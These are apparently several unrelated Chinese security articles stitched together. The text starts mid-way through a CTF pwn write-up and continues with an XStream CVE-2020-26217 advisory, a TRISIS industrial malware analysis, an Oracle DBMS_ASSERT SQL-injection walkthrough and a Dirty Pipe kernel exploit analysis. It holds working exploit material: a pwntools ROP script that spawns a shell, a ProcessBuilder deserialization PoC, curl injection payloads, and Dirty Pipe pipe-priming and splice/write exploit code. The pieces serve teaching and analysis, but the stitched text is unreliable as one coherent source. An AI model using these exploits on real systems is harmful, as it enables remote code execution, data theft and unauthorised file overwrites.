prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
debug()
ru("please input the length:")
sl("-1")
ru("please input the maze:")
f = open("./payload3.txt","rb+")
payload = f.read()
sl(payload)
ri()
调试时在第二个线程函数的`ret`处下断点，如图所示，可以看到成功的把线程二的返回地址改成了输入迷宫的数据
根据返回地址找到在迷宫中的偏移，如图所示，用关键字来站位，之后把payload填充到这里即可
接下来就是平常的`ROP`，先泄露`libc`地址，然后执行`system("/bin/sh")`即可
exp:
from pwn import *
# from LibcSearcher import *
# context.log_level='debug'
debug = 1
file_name = './maze'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("please input the length:")
sl("-1")
ru("please input the maze:")
f = open("./payload2.txt","rb+")
start_addr = 0x401110
p_rdi = 0x0000000000401aeb# : pop rdi ; ret
puts_plt = file.plt['puts']
puts_got = file.got['puts']
ROP_payload = p64(p_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
pp = ""
for x in range(0,len(ROP_payload),4):
pp += str(int(eval("0x"+ROP_payload[x:x+4][::-1].encode("hex"))))
pp += " "
print pp
payload = f.read()
payload = payload.replace("thisispayload",pp)
sl(payload)
rud("bye bye\n")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
system = libc.symbols['system']+libc_base
binsh = 0x00000000001b75aa+libc_base
li("system",system)
li("binsh",binsh)
# print puts_got
ROP_payload = p64(p_rdi)+p64(binsh)+p64(0x0401A16)+p64(system)
# print ROP_payload.encode("hex")
pp = ""
for x in range(0,len(ROP_payload),4):
pp += str(int(eval("0x"+ROP_payload[x:x+4][::-1].encode("hex"))))
pp += " "
print pp
ru("please input the length:")
sl("-1")
# debug()
ru("please input the maze:")
f_2 = open("./payload2.txt","rb+")
payload_2 = f_2.read()
payload_2 = payload_2.replace("thisispayload",pp)
sl(payload_2)
ri()
## 总结
总体上难度不大，第二道Maze挺有意思的，但是比较麻烦。[文中题目附件及exp](https://github.com/wxm-radish/CTF-challenge-file/blob/main/2021%E5%8D%8E%E4%B8%BA119%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9Bchallenge.zip) | 社区文章 |
## 0x01 漏洞描述
CVE-2020-26217出现了新的绕过手法，通过一个黑名单之外的gadget，可以成功绕过之前的补丁造成远程命令执行。包括1.4.13在内的所有版本都会受到漏洞的影响（使用了XStream官方提供的安全框架的系统将不受本次漏洞影响）。
## 0x02 风险等级
**严重**
## 0x03 漏洞详情
PoC已经在官方放出，如下：
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>-a</string>
<string>Calculator</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
演示如下：
XStream作为一个支持将xml转对象的第三方，一直以来都是存在着被利用的风险，而在没有使用官方安全框架的前提下，补丁就只能通过黑名单来进行防御，所以才有了这次全新gadget的绕过，下面针对这一个gadget进行一些原理分析。
XStream在对map类型对象进行反序列化的时候，如果map对象内存在entry，自然需要先实例化一个空map，以及entry，再将entry
put到map中
而这次利用的关键就在于这个entry的构造，先去看一下实例化后的这个entry是什么样子的，其中红框标记的地方为poc刻意指定的值，也就是在后续调用栈里需要重点关注的地方，
map在put
entry的时候，是需要获取entry的hash的，进而在后续会调用entry的hashCode函数，那我们去看一下NativeString的hashCode函数会去做一些什么，
可以看到经过两个调用栈之后，会去调用value值的toString函数，即Base64Data类的toString，调用toString自然就会调用get函数，看一下Base64Data.get，
get函数生成了一个空的ByteArrayOutputStreamEx对象并将自身的dataHandler的datasource作为参数，传给这个对象的readFrom函数，继而调用了datasource的read函数，即SequenceInputStream.read，
在SequenceInputStream.read函数中会循环调用每个Enumeration的nextElement函数，即MultiUIDefaults$MultiUIDefaultsEnumerator.nextElement，继而去调用对应key的next函数进行迭代，而这个时候的迭代器是精心构造的FilterIterator，
在调用FilterIterator进行迭代的时候，会调用恶意构造的ImageIO$ContainsFilter的filter方法，从而进行了反射调用，而反射的method、param和class都是ContainsFilter的成员对象，攻击者可控，从而造成了rce，
调用链比较长在最后附上调用栈，
## 0x04 参考链接
<https://x-stream.github.io/CVE-2020-26217.html> | 社区文章 |
作者：安天
来源：[《安天发布针对工控恶意代码TRISIS的技术分析》](https://www.antiy.cn/research/notice&report/research_report/20180911.html
"《安天发布针对工控恶意代码TRISIS的技术分析》")
### 1、概述
2017年8月，安天安全研究与应急处理中心（安天CERT）基于综合情报研判，将针对工业控制系统的恶意代码TRISIS（又名TRITON、HATMAN）列为需要重点分析关注的威胁，并将其命名为“海渊”。该恶意代码在中东某石油天然气厂的工业控制系统中被国外安全研究人员发现，根据各方信息判断，由于攻击者准备不充分，尚未对人员及财产造成重大损失。“海渊”（TRISIS）的目标为施耐德电气公司的安全仪表系统，通过植入固件更改最终控制元件的逻辑以达到攻击目的。其通过Tricon安全仪表系统所使用的TriStation通信协议进行攻击，因此运行此协议的所有安全控制器都可能受到影响。
“海渊”（TRISIS）所攻击的目标是工业控制系统（ICS）中的安全仪表系统（SIS）控制器，其主要瞄准施耐德电气的Tricon安全仪表系统，从而达到在最终控制元件中替换逻辑的目的。安全仪表系统（Safety
Instrumented System），简称SIS，又称为安全联锁系统（Safety Interlocking
System），主要为工厂控制系统中报警和联锁部分，对控制系统中检测的结果实施报警动作或调节或停机控制，是工厂企业自动控制中的重要组成部分。其包括传感器、逻辑运算器和最终执行元件，即检测单元、控制单元和执行单元。SIS系统可以监测生产过程中出现的或者潜伏的危险，发出告警信息或直接执行预定程序，立即进入操作，以防止事故的发生，同时降低事故带来的危害及影响。
安天CERT针对该恶意代码的攻击原理及样本展开了技术分析。发现该恶意代码的攻击流程为利用社工技巧伪装成安全仪表系统的日志软件进入目标网络，之后通过特殊ping包发现安全仪表系统，在确定安全仪表系统可被入侵后，会上传组合后的二进制代码，以改变安全仪表系统的梯形图（即安全仪表系统逻辑），一旦攻击成功，将有可能对工业生产设备、工厂人身安全造成巨大危害，对关键信息基础设施安全、社会安全造成巨大影响。
### 2、“海渊”（TRISIS）攻击原理
#### 2.1 攻击原理简述
“海渊”（TRISIS）和“震网”（Stuxnet）、“Industroyer/CrashOverride”等恶意代码一样具备从工业控制系统中发现特定目标装置的能力。但同时，其更进一步具有直接交互、远程控制和危害安全系统的能力。
“海渊”（TRISIS）采用Python脚本进行编写，并使用Py2EXE伪编译为PE可执行程序，以便于在未安装Python的系统环境下执行。攻击者充分了解安全仪表系统处理过程及环境的具体细节，才能构造有效载荷利用“海渊”（TRISIS）进行攻击，其主要通过修改和部署新的PLC（可编程逻辑控制器）梯形图，以对目标产生预期的影响。
“海渊”（TRISIS）可以改变目标安全仪表的基本逻辑，通过可执行文件将其目标作为在执行时传递给它的命令行参数，其核心功能是通过将四个二进制文件组合到目标上进行工作，其中植入Python脚本中的两个二进制载荷，主要用于准备和加载包含替换逻辑的外部模块（参见图2-1、图2-2）；附加的两个外部的二进制文件，由脚本中的名称专门引用，但位于单独的文件中，其中imain.bin为主要功能载荷（参见图2-3）。
图2-1 植入脚本中的二进制载荷
图2-2 脚本中用于覆盖核心载荷的傀儡程序
图2-3 获取外部独立二进制文件
#### 2.2 攻击流程分析
trilog.exe是“海渊”（TRISIS）的主程序，其原本是Tricon安全仪表系统中的一个模块程序，攻击者利用其进行实施攻击的主要流程参见图2-4：
图2-4 TRISIS攻击流程
攻击流程说明：
1. trilog.exe通过TSAA协议链接TCM（Tricon通信模块），识别并获得一个能够与安全仪表系统通信的系统，并判断是否满足入侵的条件；
2. 确认可入侵后，识别目标安全仪表系统类型，并用替换逻辑和加载器开发“海渊”（TRISIS）功能代码，构建漏洞利用程序PresentStatus。
3. 上载PresentStatus到Tricon安全仪表系统中，并执行确保“海渊”（TRISIS）在预期环境下工作；
4. 构建加载器和核心载荷inject.bin、imain.bin，将“海渊”（TRISIS）传输到包含装载器模块的目标上；
5. “海渊”（TRISIS）可执行文件运行时，伪装成用于分析日志的软件，利用嵌入的二进制文件来识别控制器上存储器中的适当位置以进行逻辑替换，并上传“初始化代码”（4字节序列）；
图2-5 上传初始化代码
1. 验证前一步是否成功，然后上传新的PLC梯形图到安全仪表系统；
2. 上传傀儡程序覆盖核心载荷。
图2-6 上传傀儡程序
### 3、“海渊”（TRISIS）样本分析
#### 3.1 “海渊”（TRISIS）与Triconex的通信过程分析
“海渊”（TRISIS）与Triconex的通信主要依赖于TsHi、TsBase、TsLow、TS_cnames等模块，这些模块提供了极为强大的远程连接控制Triconex的代码。
##### 3.1.1 请求连接
“海渊”（TRISIS）通过在Script_test.py中调用TsLow中的connect函数进行连接，我们以此作为入口点，对其协议进行简单分析。
图3-1 connect函数
在connect函数中detect_ip和tcm_connect为关键函数。
图3-2 detect_ip函数
图3-3 tcm_connect函数
在detect_ip函数中使用1502端口，用变量TS_PORT定义；另外，对ping数据包和close数据包定义，分别采用0x06和0x04为两者标识码，如下图3-4。
图3-4 数据包类型标识码定义
在tcm_connect函数中connect_result同样为数据包类型标识码，具体定义见上图3-4，其中关键函数为tcm_exec（type参数的值为1）。
图3-5 tcm_exec函数
Struct.pack函数作用为按照给定的格式(fmt)，把数据转换成字符串(字节流)，并将该字符串返回，即packet是把type和data长度按照16进制解释，再加上data和crc16校验的数据包。Struct.pack数据包结构如下：
表1 
##### 3.1.2 上传PresetStatus
“海渊”（TRISIS）通过使用SafeAppendProgramMod函数上传PresetStatus。
图3-6 PresetStatusField函数
script_code为需要上传的执行代码。该函数为对AppendProgramMin函数的封装，AppendProgramMin函数调用WriteProgram函数（对WriteFunctionOrProgram的封装）。
图3-7 AppendProgramMin函数（部分）
图3-8 WriteFunctionOrProgram函数
AppendProgramMin函数在代码尾部加上CRC校验：
图3-9 MyCodeSign函数
在WriteFunctionOrProgram函数中调用AllocateProgram函数向仪表写入程序：
图3-10 AllocateProgram函数
此时对数据包进行一次封装，现在数据包为：
表2 
图3-11 Ts_exec函数
Ts_exec函数负责一层数据包封装，此时数据包为：
表3
在Ts_exec函数中调用tcm_exec函数（参见图3-5），此时数据包为：
表4 
Tcm_exec调用udp_exec函数，最终调用sock.send函数通信。
##### 3.1.3 上传有效载荷
上传有效载荷与上传PresetStatus流程相同，在此不再赘述，有效载荷的数据包结构为：
表5 
#### 3.2 模块分析
“海渊”（TRISIS）构建了精简的TriStation通信框架，框架包含模块TsHi.py、TsBase.py、TsLow.py、TS_cnames.py。除框架外，“海渊”（TRISIS）还包含一个Script_test.py脚本，此脚本使用TriStation通信框架连接到Tricon，并注入载荷。
##### 3.2.1 Script_test.py分析
Script_test.py是使“海渊”（TRISIS）真正实现功能的模块，Script_test.py文件小巧，其通信功能的实现主要依赖TriStation协议支持库。由于TriStation协议目前为止仍是闭源协议，这些支持库极有可能为“海渊”（TRISIS）背后攻击者花费精力逆向得来，如果要对TriStation协议进行深入了解，对涉及的库文件进行分析是很好的选择。
Script_test.py与通信有关代码主要实现了代码上传、寻找仪表系统和利用库函数进行通信的功能（参见图3-12、3-13、3-14）。
图3-12 代码上传
图3-13 寻找仪表系统
图3-14 利用库函数进行通信
攻击步骤说明：
Script_test.py脚本首先尝试连接Tricon仪表系统，当不带参数启动时，直接广播搜索可识别TriStation协议的设备——Tricon仪表系统：
图3-15 广播搜索Tricon仪表系统
一旦寻找到目标，将上传PresetStatus程序确定此目标是否可被利用；确定可被利用后，上传inject.bin和imain.bin两个主要载荷，篡改图表，以达到破坏或监控目的；最后，上传无用代码覆盖载荷消除痕迹。
##### 3.2.2 TsHi.py分析
TsHi.py是框架的高级接口，允许读写函数和程序，以及检索项目信息和与植入有效负载的交互（如下所述），其包括SafeAppendProgramMod函数，该函数可获取程序表，读取程序和函数，并将提供的shellcode附加到现有的控制程序，它还在必要时处理CRC32校验和。
表6
从函数名我们可以轻易猜出每个函数的作用，“海渊”（TRISIS）只使用了其中的SafeAppendProgramMod函数来上传其载荷。
图3-16 SafeAppendProgramMod函数检查目标状态
之后，此函数获取目标系统中已上传的程序列表及函数数量。最后用AppendProgramMin函数上传载荷，并执行。
##### 3.2.3 TsBase.py分析
TsBase.py主要充当高级接口和低级TriStation功能代码之间的转换层，以及用于上载和下载程序或获取控制程序状态和模块版本等功能的数据格式：
表7 
##### 3.2.4 TsLow.py分析
TsLow.py可实现将上层制作的TriStation数据包通过UDP发送到Tricon通信模块（TCM）的功能的最底层，还包括通过向1502端口发送UDP“ping”广播消息来自动发现Tricon控制器。
表8 
##### 3.2.5 TS_cnames.py分析
TS_cnames.py包含TriStation协议功能和响应代码以及关键开关和控制程序状态的命名查找常量。
图3-17 状态码截图（部分）
### 4、分析小结
“海渊”（TRISIS）恶意代码呈现出了一些值得关注的特点，其开发者深入了解相关工控产品的控制协议，除了上载到PLC中的二进制模块外，其他框架和功能代码全部采用脚本编写，非常容易被改造和加工。而其打击点则在作为工业控制系统的生产安全监测单元的SIS上。
作为针对工业系统攻击的恶意代码，“海渊”（TRISIS）很自然的会被与“震网”（Stuxnet）和“乌克兰停电”等攻击关键基础工业设施的事件相比较。
与“震网”庞大的恶意代码工程相比，“海渊”（TRISIS）看起来相对简单。震网攻击对于离心机整体控制机制的介入是极为深入的，这本身也源自铀离心工艺处理的复杂性，基于攻击者所要达成的复杂的攻击目的（铀无法达到武器级要求、大量损毁离心机）、攻击的隐蔽性攻击和攻击需要达成的阶段持续性。震网是一个支撑完整战役过程的恶意代码。相比之下，尽管“海渊”（TRISIS）小巧的令人可怕，但其更像一个灵巧的“战斗部”，其在攻击行动中，可能是与其他的攻击植入手段和恶意代码配合使用的。对“海渊”（TRISIS）的编写者来说，其核心资源和成本消耗，主要是对SIS系统达成深入分析了解。
“海渊”（TRISIS）的攻击方式与乌克兰电网遭遇攻击停电事件的明显差异是“海渊”（TRISIS）攻击的位置更加纵深。乌克兰停电的攻击效果是通过直接在SCADA控制界面上拉闸达成的，粗暴而有效，其并不依赖于深度解析和篡改控制指令。尽管乌克兰停电事件中，攻击者也篡改了远程变电站串口以太网关中的固件，但这一操作目的是为了导致已经被“拉闸”的远程变电站不能被远程合闸恢复。而“海渊”（TRISIS）的打击点，则是为PLC重置新的逻辑，而且其攻击的是安全仪表系统。
从防御工作来看，由于“海渊”（TRISIS）以通过伪装为SIS的日志软件获得被执行的机会，因此重要的防御点即在对软件供应链的管控上。应在采购阶段，严格落实供应链的安全管控，从源头遏制危害。在工业系统的运维中，针对工控系统环境的新设备安装上线、软件的发布升级、运维手段的接入等，都应进行全面的前置检查和移动介质接入管控。
与“震网”、“乌克兰停电”事件类似的是，“海渊”（TRISIS）攻击依然是以获得关键PC节点为攻击入口的，这一特点是具有普遍性的。而一旦关键PC节点沦陷，攻击已经针对生产系统实施了纵深影响，则极难防御。对于工业基础设施来说，做好生产网络和办公网络中的PC端点防御是一个必须做好的基础性工作，对于重要PC节点必须形成严格的依托白名单的主动防御机制。
从现状来看，大部分工业控制系统对效率性能的考虑远多于安全考虑，而安全考量中，更多依然是以传统的应对事故视角，而非应对攻击视角。做好工业系统的安全防御工作，必须按照三同步的原则进行，在系统规划、建设、运维的全周期考虑网络安全问题。这是一个复杂和系统的工作，在可管理网络的基础上，建设可防御的网络，推动从基础结构安全、纵深防御、态势感知与积极防御到威胁情报的整体叠加演进。这个过程需要大量基础扎实的工作和预算投入。对已有系统的安全改造，因为涉及到生产业务的连续性、稳定性，可能牵扯到更多的问题。
关于对工业系统的安全问题和防御，安天在“震网”、“乌克兰停电”等事件的分析中，已经有过很多的探讨，我们会为用户提供更系统的建议和解决方案。
### 附录一：参考资料
[1]Dragos ：TRISIS Malware——Analysis of Safety System Targeted Malware
<https://dragos.com/blog/trisis/TRISIS-01.pdf>
[2]Ics-cert :MAR-17-352-01 HatMan—Safety System Targeted Malware (Update A)
<https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01
HatMan - Safety System Targeted Malware (Update A)_S508C.PDF>
[3]《乌克兰电力系统遭受攻击事件综合分析报告》
<http://www.antiy.com/response/A_Comprehensive_Analysis_Report_on_Ukraine_Power_Grid_Outage/A_Comprehensive_Analysis_Report_on_Ukraine_Power_Grid_Outage.html>
[4]《对Stuxnet蠕虫攻击工业控制系统事件的综合分析报告》
<http://www.antiy.com/response/stuxnet/Report_on_the_Worm_Stuxnet_Attack.html>
### 附录二：HASH
* * * | 社区文章 |
# 检测并实现绕过DBMS_ASSERT
* * *
本文翻译自: <http://obtruse.syfrtext.com/2018/04/detecting-and-implementing-dbmsassert.html>
* * *
### 概述
上一篇文章讨论了旧版本的Oracle
dbms_assert.enqoute_literal方法中的一个bug，这个bug可能让攻击者绕过SQL注入保护并使系统数据泄露。
本文将探讨“real-world” 一个绕过`dbms_assert`的方案，以及一些非标准的SQL注入方法。
### Web应用程序
就这个例子而言，我构建了一个简单（而且很丑）的Web应用程序，它允许用户在表中插入记录和搜索该表中的记录。
Web应用程序是使用[modowa](https://oss.oracle.com/projects/mod_owa/dist/documentation/modowa.htm)和Oracle
XE数据库构建的。
### 基本功能
应用程序本身非常简单，它允许用户输入新请求：
它还允许用户在任何输入的字段中搜索现有的请求：
### 内部程序
查看Web应用程序的html，我们可以看到两个调用搜索和插入操作的句柄的AJAX。
<html>
<head>
<title>Service Request Board</title>
<script>
function loadRequests() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("open").innerHTML = this.responseText;
}
};
xhttp.open("GET", "/pls/public/portal.pkg_service_requests.get_requests?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
xhttp.send();
}
function addRequest() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("open").innerHTML = this.responseText;
}
};
xhttp.open("GET", "/pls/public/portal.pkg_service_requests.add_request?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
xhttp.send();
}
</script>
<body onload="loadRequests()">
<div name="title"><h1>Service Request Page</h1></div>
<div name="requests">
<h2>Open Requests</h2>
<div id="open" name="open">
<!-- load content via ajax -->
</div>
<div name="form">
<div><span>Type: <input id="p_request_type" type="text"></span></div>
<div><span>Name: <input id="p_requestor" type="text"></span></div>
<div><span>Email: <input id="p_email" type="text"></span></div>
<div><span>Description: <input id="p_description" type="text"></span>
<div><span><button name="search" onClick="loadRequests()">Search</button></span>
<span><button name="add" onClick="addRequest()">Add Request</button></span></div>
</div>
</body>
</html>
如果我们curl上面java脚本函数中看到的两种方法，我们可以更好地遵循服务器交互。
curl -v "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&[email protected]&p_description=BATMAN"
curl http://192.168.1.5//pls/public/portal.pkg_service_requests.get_requests?p_description=BAT
### 扫描应用程序
现在我们已经基本了解了应用程序的工作原理，我们可以使用标准工具（如OWASP
ZAP和sqlmap）进行一些扫描。请记住，insert方法（`pkg_service_requests.add_request`）容易受到SQL注入的攻击。
虽然OWASP ZAP检测到该服务易受跨站点脚本攻击，但它不会检测到SQL注入的漏洞。
我们甚至在服务请求应用程序中看到了ZAP SQL注入尝试的示例。
Sqlmap的性能略优于OWASP
ZAP。从下面的屏幕截图中可以看出，扫描程序成功检测到后端使用了Oracle数据库，输入参数有被轻易注入的可能，但是，sqlmap最终还是无法成功注入系统。
### 绕过DBMS_ASSERT
传统的SQL注入方法是将整个注入有效负载包含在一个输入参数中，通过传输单引号或双引号来输出输入值。
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&[email protected]&p_description=BATMAN'%20or%201=1"
正如我们所看到的，当我们尝试使用这种形式的注入时，服务器会返回Oracle错误。
但是，在上一篇文章我们已经提到过，如果正在使用旧版本的dbms_assert.enqoute_literal，我们就可以通过传递单引号（一个'）来尝试脱离输入环节。在下面的curl语句中，单引号传递给p_email输入参数。
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"
现在，我们看到一个SQL语法错误：ORA-00917缺少逗号，而不是PL/SQL数值或值错误。我们找到了注射路径。但是，有一个小问题：我们的注入点在insert语句中。这意味着正常的SQL注入方法（如附加到where子句或UNION注入）将达不到这个效果，因为查询数据不会返回给服务器。
### Insert注入语句
虽然我们不能使用简单的SQL注入方法，但我们可以将Oracle内置的变量和函数注入insert语句，使其从系统中收集一些信息。例如，Oracle内置函数USER和SYSDATE将告诉我们一些关于系统的信息，并且能让我们清楚地知道我们的注入路径是否能正常工作。
手动注入服务需要一点时间和反复的试验(试错法)，但成功执行最终会显示用于服务连接的数据库用户的名称。
在我们手动注入服务器之前，快速回顾一下oracle插入语法和常见的oracle插入错误。
用这些错误作为参考点，我们可以运行初始注入：
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"
这与ORA-00917一样：缺少逗号错误，并且很容易添加逗号：
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,"
结果是ORA-01756：引用的字符串未正确终止的错误。我们不能没有冲击dbms_assert保护就来添加单个'来终止字符串。但是我们可以用oracle注释来随后引用
- ：
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,--"
我们现在收到ORA-00936：缺少表达式，因为我们没有用任何数据填充插入列。我们将使用Oracle内置的USER函数来测试：
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER--"
我们现在看到另一个ORA-00917：缺少逗号错误。这可能意味着我们需要添加另一个记录字段，或者它可能意味着我们缺少insert语句的右括号。如果我们尝试后者，我们将会看到我们注入成功。
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER)--"
我们可以看到最终的注入语句成功执行，并显示了Oracle数据库用户的名称（PORTAL_USER）。
### 如何处理Insert
初步看来，对Insert语句的SQL注入攻击具有很大的潜在破坏力，但对数据的泄露几乎没有用处。下一篇文章将展示如何使用各种方法使用基于insert语句的攻击向量来查询数据。 | 社区文章 |
#### $信息收集：
* [e783362eb54cd99b2cac8b3a9aeac942e6f6ac07](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/lib/iov_iter.c?id=9d2231c5d74e13b2a0546fee6737ee4446017903)
#### $前言：
昨晚刚决定开始Linux内核挖掘，就看到各大公众号宣传这个day，所以决定让他当作我入门linux内核挖掘的垫脚石。这是一个类型混淆漏洞（算是老熟人了，之前我也分析过一个Windows的类型混淆CVE-2021-1732）
#### $漏洞利用原理：
通过`pipe`生成一个管道，然后使用`write`调用`pip_write`将管道填满`flag`为`PIPE_BUF_FLAG_CAN_MERGE`，然后用`read`将缓冲区全部释放，但是根据`splice`进行零拷贝时`copy_page_to_iter_pipe`没有将`flag`初始化，导致缓冲区仍然留存`PIPE_BUF_FLAG_CAN_MERGE`。进而在`write`上检测`flag`存在`PIPE_BUF_FLAG_CAN_MERGE`来达成越权写入操作。
#### $什么是零拷贝？
零拷贝是作用于两个文件间移动，正常文件拷贝流程一般为cpu对内存空间进行多次读写操作将拷贝数据从用户态到内核态再返回用户态，而零拷贝让数据不需要经过用户态，而是将内核缓冲区与用户程序进行共享，这样就不需要把内核缓冲区的内容往用户空间拷贝。应用程序再调用write(),操作系统直接将内核缓冲区的内容传输到指定输出端了。
具体的文件通过管道传输流程：
`in端 == write == pipe == splice == out端`
out端通过splice与内核缓冲区进行共享，然后in端调用write将内容拷贝到内核缓冲区进而写入到out端。
#### $设置缓冲区flag为`PIPE_BUF_FLAG_CAN_MERGE`
分析`pipe_write`函数源码
当我们给`pipe->tmp_pipe =
NULL`下断点后，可以看到当我们执行exp后的flags设置为`0x10`（`PIPE_BUF_FLAG_CAN_MERGE`）
这里的`page = 0xffffea00001b09c0`，是我们write申请的页，然后用于与内核缓冲区进行数据传输
根据堆栈回溯可以看到，这个只是调用`write`时会将`flags`设置为`PIPE_BUF_FLAG_CAN_MERGE`
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); //这里要查看一下pipe的栈回溯调用链
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); //调用pipe.c *1392
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
上述代码实质就是将`pipe`缓冲区所以`flag`设置为`PIPE_BUF_FLAG_CAN_MERGE`，然后调用`read`是释放`pipe`缓冲区来让缓冲区变为闲置等待调用状态，进而让`flag`为`PIPE_BUF_FLAG_CAN_MERGE`执行下一次`exp`中的`write`。
但是我们只关注`flag`上的`PIPE_BUF_FLAG_CAN_MERGE`，那么调用`read`后会不会将`flags`上的`PIPE_BUF_FLAG_CAN_MERGE`呢？
#### $`splice`实现零拷贝传输
在调用`splice`时会调用到`__copy_page_to_iter`
下面是`splice`的调用链：（查看`copy_page_to_iter_pipe`堆栈平衡得出）
sys_splice
__do_splice
==> do_splice
===> splice_file_to_pipe
====> generic_file_splice_read
=====> call_read_iter
======> copy_folio_to_iter
=======> flimap_read
========> copy_folio_to_iter
=========> copy_page_to_iter
==========> __copy_page_to_iter
===========> copy_page_to_iter_pipe
在`splice_file_to_pipe`上存在3种调用情况：
* in/out都是pipe类型
* in是pipe类型
* out是pipe类型（这是exp调用类型）
##### 如下即为exp使用的第三种splice零拷贝的源码：
上面只校验了`out`端是否为`pipe`类型，然后检测执行程序用户是否对`root`权限文件具有读写操作，然后就调用`splice_file_to_pipe`来进行下一步漏洞利用。
##### 注意下面这个判断：
if (off_in) { //这里限制了只能从偏移值1开始
if (!(in->f_mode & FMODE_PREAD)) //判断输入是否有读权限，所以exp只需要对输出到的root权限文件具有可读权限
return -EINVAL;
offset = *off_in;
} else {
.....
`if (off_in) {`判断是导致进行越权写入偏移值必须为`0`的原因。
##### 分析`copy_page_to_iter_pipe`
上述即为splice零拷贝过程中“ **out端与内核缓冲区共享** ”的调用源码
可以看到，由于是页引用行为，所以我们传输的数据大小不能大于原文件大小。
补丁上也是在这个文件上对缓冲区的flag进行了初始化操作。
那么我们可以得知，只要在这里对flag进行初始化，就不可能导致越权读写产生，那么说明了判定flag存在`PIPE_BUF_FLAG_CAN_MERGE`进而达到下一步利用这个过程是不在`splice`上的。
下面是利用代码：
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
//将指定文件的内容从指定offset开始copy到p[1]上，长度为1字节
#### $调用write连接pipe进行splice零拷贝时的检测手段
分析零拷贝中所有涉及函数可知，只有在调用`pipe_write`时存在检测操作。
分析`pipe_write`：
当缓冲区上的flag为`PIPE_BUF_FLAG_CAN_MERGE`则直接调用`copy_page_from_iter`对数据进行管道写入操作，进而达成越权写。
所以可以知道`read`释放缓冲区时没有对flag进行初始化操作。
下面是利用代码：
nbytes = write(p[1], data, data_size);
//这里开始触发任意文件写入，将我们指定的内容copy到p[1]上
#### $关于参数测试：
